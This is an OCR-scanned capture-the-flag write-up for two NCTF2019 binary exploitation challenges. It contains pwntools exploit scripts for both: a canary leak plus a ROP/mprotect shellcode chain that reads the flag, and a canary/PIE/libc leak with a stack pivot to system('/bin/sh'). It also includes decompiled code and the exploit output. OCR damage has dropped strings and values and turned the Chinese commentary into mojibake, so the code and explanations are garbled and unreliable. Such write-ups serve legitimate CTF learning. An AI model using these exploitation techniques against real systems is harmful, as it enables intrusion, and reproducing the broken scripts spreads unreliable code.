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BEEEFY:

root@ubuntu: /home /NCTF2019/pwn/warm_up# checksec warm_up
[*] '/home/NCTF2019/pwn/warm_up/warm_up'

Arch: amd6 -little

RELRO: artial RELRO

Stack:

NX:
PIE:

sub_488284B();
sub_408A06() ;
return sub_480AB6();

¥

| _int64 sub_400A86()

{ -
__intea ve@; // STOS 8 W=
vB = seccomp_init(2147418112LL);
seccomp_rule_add(v®, @LL, 59LL, OLL);

return seccomp_ load(v8);

¥

v2 = _ readfsquword(@x28u);
puts("warm up!!!"});
Pead(@, &:""_P.'l .;
printf("%s ?", &buf);
Prat(o, &, [BxioonT];

return _ readfsqword(@x28u) » v2;

¥

SPSIE 0

1. P8 TR R w
2. FETYEER, REtiEHlbchopen |read | writeZiE 5 i 3

3. "Lt leak canary4aid v H 6

EXP:

from pwn import
context.log level
context.arch

ELF(




remote ( , 50007)

r.recv(7)
(ub4(canary)))

0x400bc3
0x400bcl
0x400910
elf.bss()
elf.symbols[
libc_start_main_got elf.got|

24 canary
p64(pop_rdi_ret)
p64(libc_start_main_got)
p64(puts_plt)
p64(start_addr)

r.recvuntil( )

r.sendline(payload)

libc_start_main ub4(r.recv(6).ljust(8,

libc_base libc_start_main libc.symbols|
libc_base + libc.symbols[

libc_base + libc.symbols[
libc_base libc.search(asm(

0x18 canary

p64(pop_rdi_ret) p64(bss_addr + 0x500) p64(gets)

p64(pop_rdx_ret) p64(7)

p64(pop_rsi_ri5 ret) p64(0x1500) p64(0)
p64(pop_rdi_ret) p64((bss_addr>>12)<<12)
p64(mprotect)

p64(bss_addr + 0x500)

r.recvuntil( )
r.sendline(payload)

payload shellcraft.

shellcraft.read( 3, bss_addr+0x100, 0x30)

shellcraft.write(1, bss_addr+0x100, 0x30)

r.sendline(asm(payload))
r.interactive()




BT RS BESEWpEEA LT, XER—KAMPATRIIBE, . ubuntu16.04

] Received 0x30 bytes:
0PEPAAAA de 43 54 46 Tb 74 68 69 73 5f 69 73 5f 6d 79 5f NCTF | {thi s_1is|_my_
opepeele of 77 6e 5f 66 6c 61 67 7d own_ | flag }
00000020

00000030

NCTF{this_1is_my own_flag}
\590\A@@\A@@\A@@\A@@\590\590\590\590\590\A@@\A@@\A@@\A@@\A@@\A@ﬂ\x@@\x@@\x@@\A@@\A@ﬂ\x@@[ 1
di t




BEEEFY:

'pwn/NCTF2019/easy rop/e
amd64-64-1ittle

unsigned int 1; // [r
int v5[26]; // [rsp+16h]
unsigned __inté4d v6; [/ |

v6 = _ readfsqword(8x28u);
memset(v5, 8, sizeof(v5));

sub oDB(&vE, 22, v5);
puts({"Please input some number");

for (i = @;[L <= 33;]++i ) 34 * 4 = 0x88
{

printf("number %d: ", 1i);
__isoc99 _scanf("%d", &/S[i]);
printf("number %d = %d\n", i, v5[i]);
h
write(1, "What's your name?\n", @x12ull);
read(@, &unk_ 2061420, 8x100ull);
return @LL;

TR 5 R B maini B K rbp /& 2R R pie, TR [B] bk T 1 8 1047 R maini B 2 1 Sk & 16 4

.text:800055A11COC2A31 var 74= dword ptr -74h ~ ||RAX @BBB55A11COC2A31 % main
.text:800055A11CBC2A31 var 78= dword ptr -78h RBX Y

.text:000855A11C0C2A31 var_8= qword ptr -8 RCX 8B@B7F13E25FET1E %

Jtext:000055A11COC2A31 RDX @0@07FFFD311CC88 W

.text:080855A11C0C2A31 push rbp RSI @@@R7FFFD311CC78 4

.text:PBOO55A11CBC2A32 mov rbp, rsp RDI 8260006080000001

.text:080055A11COC2A35 add rsp, @FFFFFFFFFFFFFF88h [EPELLIEEREEEERT) L ok
_text:@PEE55A11COC2A39 mov rax, Ts:28h RSP @@007FFFD311CB9® % [stack]:@@@87FFFD311CE9M

. text:800055A11COC2A42 mov [rbp+var_8], rax i

.text:@80B55A11COC2A46 xor eax, eax 22 m;::zz;::;z : "Cél—i‘t’iztfiznfwram
.text:008055A11COC2A48 lea rdx, [rbp+var_7@] A ———— e

- £ext:000055A11C0C2A4C mov eax, @ R11 @@@ATF13E2465AD@ % libc 2.29.s0:  libc_start_main
00000A3Z DO00SSALLCOCZASZ: maintl (Synchronized with EIF) v ||r12 BBRESSAI1CEC28A8 & start

< > |lr136@@67FFED311CC70 W [<tack]:a6e07FFED311CC70

(3] Stack view
48 8B @5 AD @3 20 @@ BO o0 00 @0 80 BA 82 80 88 S BBAS5A11CAC2E4E

% 55 43 B9 E5 48 83 C4 8@ 64 48 BB @4 25 28 @8 Beeaoa0000000000
B8 88 48 89 45 F8 31 C@ 48 8D 55 99 B8 0@ 00 00 Beea7FFFD311CCTE
@@ B9 @D @@ @@ @@ 48 89 D7 F3 48 AB BE 20 08 @8 paapaaaleaalanaa
98 E8 6A FF FF FF 48 8D 3D 57 @1 @0 @8 E8 9E FD 80@855A11C8C2A31 main
FF FF {7 45 BC @0 @0 @@ @@ EB 61 8B 45 8C 89 (b S el
48 8D 3D 56 @1 90 90 BE @0 90 @0 @0 E8 AF FD FF DE1F7DFBCCBECAF®

FF 8B 45 BC 48 98 48 8D 14 B85 @@ @@ @2 28 48 8D 2  Beea55A11CAC23A0
45 98 48 @1 Do 48 89 C6 48 8D 3D 3A @1 @@ @0 BB 18 eeee7FFFD311CC7e
@@ @@ @@ @@ E8 C7 FD FF FF BB 45 BC 48 98 8B 54 L = e e e e e e e e T e e T e
83 98 BB 45 8C 89 (6 48 8D 3D 1E @1 00 @@ BE @0 [ - e s Lo e e
@@ 8@ @@ E8 68 FD FF FF 83 45 8C @1 83 7D 8C 21 @ BCA2E3C@BD7ECAF@
7E 99 BA 12 @@ @8 @@ 48 8D 35 @E @1 @@ 2@ BF @l 3 B8D7ABl6F2CDBCAF@
B3 82 62 BE @@ 0@ @@ @@ EE 23 FD FF FF BA 88 @l Lo % e e e e e e
@@ 8@ 48 8D 35 17 @9 20 @0 BF @0 @0 @@ 2@ BE @0 F O e e e e e T e e e e e e T




1. FEREE, KD ERET

2. JF)/a T canaryfif¥~, W LLH'+5 585t

3. mainE® % rbp S pie (FEhb)

4. mainek FH IR [B] bl T T A2 FE main gk B0k 38 £

fiFt 8L JB B -

1. A +5%d canaryfl
2. Hikepie, EidpieMFRAMES R Z M ESTHihk

3. H—kPATmainF Fkt, FE#rbpik i unk_201420 - 8 L B
A rspfg M mainiR Fk I 4F, retn/E B IRIATmainik £

4. BZRPATmainR FEF, EBrspi A unk_201420 4L E
5. @itmain i freadF i unk_2014205 Arop%k, IhAE:
1. leak libc, B3RAER, & systemE A bin/sh’ F44 8 fElibcH ik %

2. A segadget, HATERREIAT, HTFleak libc/s BT FFHME T ZiH B 5 B IR S Arophk, Frlix BAE
Fread B8 $U7E F 75 Mg system(/bin/sh’ ) B AT getshell

HER: exph&AXN ABBEATHE, ATREEZITILKAT
Leak Libc EXP:
from pwn import

context.log level

elf ELF(

remote ( , 50002)

for i in (0,30):

r.sendline( )

r.recvuntil(
(r.recvuntil( ,True), 10)
)
(r.recvuntil( ,True), 10)
32) pie 18 Oxb40

def send64(num):

if num 0x100000000 X7 fff:

r.sendlineafter( 5 ((-1 num) 0x100000000) )
else:

r.sendlineafter( 5 (num % ©x100000000))

r.sendlineafter( 5 (num 32))




pop_rdi_ret pie oxba3

general_gadget pie oxb80
leave_ret pie + 0xb31
pop_rbp_rl14 ril5 ret pie oxbof
pop_rbx_rbp ri2 ri13 ri14 rl15_ret pie

send64(pop_rbp_ri4 ri5 ret)

send64 (new_stack)
r.sendlineafter(

r.sendline(

send64 (new_stack)
send64(leave_ret)
r.sendlineafter(

r.recvuntil( ,True)

payload p64(pop_rdi_ret)
payload p64(pie elf.got|[
payload p64(pie elf.plt[

r.sendline(payload)
libc_start_main ub4(r.recv(6).ljust(8, )))
print( (libc_start_main))

r.interactive()



tes:
3 =

] Received 0x34 by
'num 33: number 3
"What's your name?\n"

] Sent 0x19 bytes:
[eleToloTalatele] 7 p. ] oW U
00000010
ee0E019

] Received @x7 byt

poeoooee 40 44
poeoeee7

start main =|0x7
Switching to inter

1106602519\n'

BiE)E =W, AL libe database searchi &libchR 4~

libc database search eonnes o e eatasase

Visit decode.blukat.me too!

Query show all libs / start over Matches

libcé 2.23-0ubuntu10_amde4
libe start main e . libcs 2.23-0ubuntuii amded
libcé_2.23-0ubuntu3_amaea

-

libc6_2 23-0ubuntu10_amd6&4 Download

Symbol Offset Difference
O _ libc_start main 0x028748 Bxe

system @x@45399 Bx24c58
open oxefiede oxdesfa
read exaf7258 exdeble
write oxef72be oxdeb7a@
str_bin_sh 2x18cd57 Bx16c617

All symbols

Getshell EXP:
A —EHIERT, & LIRS SRS B Ihgetshell, BBk &AL 3 A BT 7E

from pwn import

context.log_level

elf ELF(

remote( , 50002)

for i in (0,30):

r.sendline( )

r.recvuntil(

(r.recvuntil( ,True), 10)

)

(r.recvuntil( ,True), 10)



https://libc.blukat.me/

pie (pie_h8 32) pie_18 - oxb4e

def send64(num):

if num 0x100000000 ox7fffffff:

r.sendlineafter( ((-1 num) 0x100000000) )
else:

r.sendlineafter( (num 7% ©x100000000) )

r.sendlineafter( (num 32))

pie 0x201420

pie Oxba3

pie oxb80

pie Oxb31
pop_rbp ril4 ril5 ret pie Oxbof
pop_rbx_rbp ri2 ri3 ri14 ri15 ret pie

send64(pop_rbp_ri4 ri5 ret)

send64 (new_stack)
r.sendlineafter(

r.sendline(

send64 (new_stack)
send64(leave_ret)
r.sendlineafter(

r.recvuntil( ,True)
p64(pop_rdi_ret)

p64(pie elf.got|[
p64(pie elf.plt[

p64(pop_rbx rbp ri2 ri3 ri4 rilS5 ret)

p64(9) p64(1) p64(pie + elf.got[ D) p64(0x666) p64(new_stack 8) p64(9)
p64(general_gadget)

r.sendline(payload)

libc_start_main ub4(r.recv(6).ljust(8,

libc_start_main 0x24c50
libc_start_main 0x16c617

80
p64(pop_rdi_ret)
p64(bin_sh)
p64(system_addr)




r.sendline(payload)

r.interactive()
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